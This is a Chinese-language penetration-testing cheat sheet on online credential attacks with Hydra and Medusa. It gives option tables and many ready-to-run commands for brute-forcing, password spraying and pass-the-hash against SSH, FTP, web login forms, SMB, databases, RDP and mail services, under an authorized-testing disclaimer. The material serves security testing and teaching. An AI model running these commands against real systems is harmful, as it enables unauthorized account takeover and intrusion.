Password Attacks¶
密码攻击(Password Attacks)是渗透测试中最常用的技术之一,主要针对在线服务进行凭据爆破。Hydra 与 Medusa 是两款最主流的**在线暴力破解/字典攻击**工具,支持数十种协议,可并行发起大量登录尝试。
注意:本文所有内容仅用于授权测试与防御性安全验证。未经授权对目标系统进行暴力破解属于违法行为。
Hydra¶
介绍¶
Hydra(THC-Hydra)是一款**并行化的在线密码破解工具**,支持超过 50 种网络协议,包括 SSH、FTP、HTTP、HTTPS、SMB、数据库、Telnet 等。Hydra 由 The Hacker's Choice(THC)团队开发,2000 年首次发布,具备模块化架构,可同时建立多个并行连接,大幅缩短爆破时间。
与 John the Ripper(离线破解哈希)不同,Hydra 面向**在线服务**,通过真实登录请求来验证用户名/密码组合。
安装¶
Kali Linux / Parrot OS 默认已安装 Hydra。其他发行版可通过以下方式安装:
Bash
# Debian / Ubuntu
sudo apt update && sudo apt install hydra
# macOS (Homebrew)
brew install hydra
查看帮助与版本:
基本语法¶
Bash
# 单一用户名 + 单一密码
hydra -l <username> -p <password> <server> <service>
# 使用 URL 形式指定服务
hydra -l <username> -p <password> <service>://<server>
# 字典攻击(用户名列表 + 密码列表)
hydra -L <users.txt> -P <passwords.txt> <server> <service>
常用选项¶
| 选项 | 说明 |
|---|---|
-l <user> / -L <file> |
指定单个用户名 / 用户名列表文件 |
-p <pass> / -P <file> |
指定单个密码 / 密码列表文件 |
-C <file> |
组合文件,格式为 username:password,每行一组 |
-M <file> |
目标主机列表文件(多主机攻击) |
-s <port> |
指定非默认端口 |
-t <num> |
并发线程数(默认 16) |
-o <file> |
将爆破结果保存到文件 |
-v / -V |
详细模式(-V 显示每次尝试的用户名/密码) |
-d |
调试模式,输出更多信息 |
-f / -F |
找到第一组有效凭据后停止(-f 单主机,-F 全局) |
-e nsr |
附加测试:n 空密码、s 密码等于用户名、r 用户名反转 |
-x min:max:charset |
在线生成密码(暴力破解),如 -x 5:7:a1#$ |
-R |
恢复上一次未完成的会话 |
-w <sec> / -W <sec> |
响应等待时间 / 两次连接间隔时间 |
-I |
忽略已有的 restore 文件(重新开始) |
常见攻击命令¶
SSH 爆破¶
Bash
# 单个用户名 + 单个密码
hydra -l root -p 123456 192.168.1.100 ssh
# 用户名列表 + 密码列表(字典攻击)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
# 指定端口 + 线程数 + 保存结果
hydra -L users.txt -P pass.txt -s 2222 -t 64 -o result.txt 192.168.1.100 ssh
FTP 爆破¶
Bash
hydra -L users.txt -P pass.txt 192.168.1.100 ftp
# 匿名登录测试
hydra -l anonymous -p anonymous 192.168.1.100 ftp
HTTP 表单登录爆破(POST)¶
Bash
# 语法:hydra -L users.txt -P pass.txt <target> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=失败提示"
hydra -L users.txt -P pass.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"
# 带 Cookie / 自定义参数
hydra -l admin -P pass.txt 192.168.1.100 http-post-form "/index.php:user=^USER^&pass=^PASS^&submit=Login:F=error:H=Cookie: PHPSESSID=xxxx"
^USER^/^PASS^为 Hydra 占位符,会自动替换为字典中的用户名和密码F=后为登录失败时页面出现的特征字符串,用于判断是否成功H=后为自定义请求头(如 Cookie)S=可指定成功时页面特征(可选)
HTTP Basic 认证爆破¶
HTTPS 爆破¶
Bash
hydra -L users.txt -P pass.txt 192.168.1.100 https-post-form "/login.php:user=^USER^&pass=^PASS^:F=error"
SMB 爆破¶
MySQL 爆破¶
MSSQL 爆破¶
RDP 爆破¶
Telnet 爆破¶
SMTP / POP3 / IMAP 爆破¶
Bash
# SMTP 认证爆破
hydra -L users.txt -P pass.txt 192.168.1.100 smtp
# POP3 爆破(非默认端口)
hydra -L users.txt -P pass.txt -s 55007 192.168.1.100 pop3
# IMAP 爆破
hydra -L users.txt -P pass.txt 192.168.1.100 imap
其他常用用法¶
Bash
# 密码喷洒(Password Spray):固定密码,遍历多个用户
hydra -L users.txt -p Butterfly1 192.168.1.100 ssh
# 组合文件攻击(username:password 一一对应)
hydra -C combos.txt 192.168.1.100 ssh
# 多主机攻击
hydra -l admin -p 123456 -M hosts.txt ssh
# 附加测试空密码/密码等于用户名
hydra -L users.txt -P pass.txt -e ns 192.168.1.100 ssh
# 在线生成密码暴力破解(5-7 位,小写字母+数字)
hydra -l admin -x 5:7:a1 192.168.1.100 ftp
# 恢复上次会话
hydra -R
Medusa¶
介绍¶
Medusa 是一款**高速、并行、模块化**的在线登录爆破工具,目标是支持尽可能多的允许远程认证的服务。其特点包括:
- 线程并行测试:可同时对多个主机、用户、密码进行爆破
- 灵活的输入方式:目标(主机/用户/密码)可为单个值或文件
- 模块化设计:每个服务模块是独立的
.mod文件,扩展方便 - 多协议支持:SMB、HTTP、POP3、MSSQL、SSHv2、FTP、MySQL、RDP 等
与 Hydra 类似,Medusa 也是**在线爆破工具**,不支持离线哈希破解。相比 Hydra,Medusa 在多主机并发测试上更高效。
安装¶
Kali Linux 默认已安装 Medusa。其他发行版可编译安装:
Bash
# Debian / Ubuntu
sudo apt install medusa
# 源码编译安装
sudo apt-get install automake autoconf m4 perl
git clone https://github.com/jmk-foofus/medusa
cd medusa/
autoreconf -f -i
./configure
make
sudo make install
基本语法¶
Bash
# 单一主机 + 单一用户 + 密码列表
medusa -h 192.168.1.100 -u root -P pass.txt -M ssh
# 主机列表 + 用户列表 + 密码列表
medusa -H hosts.txt -U users.txt -P pass.txt -M ssh
常用选项¶
| 选项 | 说明 |
|---|---|
-h / -H |
目标主机 / 目标主机列表文件 |
-u / -U |
单一用户名 / 用户名列表文件 |
-p / -P |
单一密码 / 密码列表文件 |
-C <file> |
组合文件,格式 host:user:password |
-O <file> |
将日志追加保存到文件 |
-e n/s/ns |
附加测试:n 空密码、s 密码等于用户名 |
-M <module> |
指定模块(如 ssh、ftp、http、smbnt) |
-m <param> |
模块参数,可多次使用 |
-d |
列出所有已知模块 |
-n <num> |
指定非默认 TCP 端口 |
-s |
启用 SSL |
-t <num> |
并发登录线程数 |
-T <num> |
并发主机数 |
-L |
每个线程一个用户名(按用户并行) |
-f / -F |
找到首个有效凭据后停止(单主机 / 全局) |
-g <num> |
连接尝试超时秒数(默认 3) |
-r <num> |
重试间隔秒数(默认 3) |
-R <num> |
重试次数(总尝试次数为 NUM+1) |
-v <num> |
详细级别 0-6 |
-w <num> |
错误调试级别 0-10 |
-q |
显示模块使用信息(配合 -M) |
-Z <text> |
恢复上次扫描(基于 resume map) |
-b |
不显示启动横幅 |
查看支持的所有模块:
查看某模块的具体用法:
常见攻击命令¶
SSH 爆破¶
FTP 爆破¶
Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ftp
# 显式 FTPS(RFC 4217)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ftp -m MODE:EXPLICIT
HTTP 认证爆破¶
Bash
# Basic/Digest/NTLM 认证
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M http -m DIR:/admin
# 指定认证类型与自定义 Header
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M http -m AUTH:BASIC -m CUSTOM-HEADER:"Cookie: SMCHALLENGE=YES"
Web 表单爆破(web-form)¶
Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M web-form \
-m FORM:"login.php" \
-m FORM-DATA:"post?username=&password=&submit=True" \
-m DENY-SIGNAL:"Login incorrect"
FORM:目标表单路径FORM-DATA:提交方法与字段,username 字段必须在前,password 字段在后DENY-SIGNAL:登录失败时响应中的特征字符串,未出现该串即判定成功
SMB 爆破(smbnt)¶
Bash
# 基本爆破
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smbnt
# 测试域凭据
medusa -h 192.168.1.100 -U users.txt -p password -M smbnt -m GROUP:DOMAIN
# 使用 NTLM 哈希(Pass-the-Hash)
medusa -h 192.168.1.100 -u administrator -p 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: -M smbnt -m PASS:HASH
# 强制 NetBIOS 模式(139 端口)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smbnt -m NETBIOS -n 139
MySQL / MSSQL / PostgreSQL 爆破¶
Bash
# MySQL
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mysql
# MySQL 使用旧式哈希
medusa -h 192.168.1.100 -U users.txt -p 39b52a209cf03d62 -M mysql -m PASS:HASH
# MSSQL
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mssql
# PostgreSQL(指定数据库)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M postgres -m DB:postgres
RDP 爆破¶
Bash
# 注意:FreeRDP 库存在线程安全问题,建议避免并发主机/用户(-T/-t)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M rdp -m DOMAIN:WORKGROUP
Telnet 爆破¶
SMTP / POP3 / IMAP 爆破¶
Bash
# SMTP 认证爆破
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smtp -m AUTH:LOGIN
# SMTP 用户枚举(VRFY/EXPN/RCPT TO)
medusa -h 192.168.1.100 -U users.txt -p domain.com -M smtp-vrfy -m VERB:VRFY
# POP3(AS400 模式)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M pop3 -m MODE:AS400
# IMAP(指定认证类型)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M imap -m AUTH:PLAIN
VNC / SNMP 爆破¶
Bash
# VNC(RealVNC 反爆破延迟,设置最大睡眠时间)
medusa -h 192.168.1.100 -u root -P pass.txt -M vnc -m MAXSLEEP:120
# SNMP Community String 爆破
medusa -h 192.168.1.100 -P community.txt -M snmp -m ACCESS:READ
组合文件与并发¶
Bash
# 组合文件(host:user:password)
medusa -M ssh -C combo.txt
# 组合文件配合主机列表
medusa -M smbnt -C combo.txt -H hosts.txt
# 高并发:20 主机 + 10 线程,按用户并行,找到即停
medusa -H hosts.txt -U users.txt -P pass.txt -T 20 -t 10 -L -F -M ssh
# 附加测试空密码 / 密码等于用户名
medusa -h 192.168.1.100 -u administrator -P pass.txt -e ns -M smbnt
恢复扫描¶
Medusa 收到 SIGINT(Ctrl+C)时会输出 resume map,可据此恢复扫描:
Hydra vs Medusa¶
| 对比项 | Hydra | Medusa |
|---|---|---|
| 认证类型 | 在线爆破 | 在线爆破 |
| 多线程 | 支持 | 支持 |
| 模块化 | 支持 | 支持(独立 .mod 文件) |
| 协议数量 | 50+ | 30+ |
| 多主机并发 | 支持(-M) |
更高效(-T 主机级并发) |
| 哈希传递(PTH) | 不支持 | 支持(smbnt PASS:HASH) |
| 在线生成密码 | 支持(-x) |
不支持 |
| 会话恢复 | 支持(-R) |
支持(-Z) |
| 离线哈希破解 | 不支持 | 不支持 |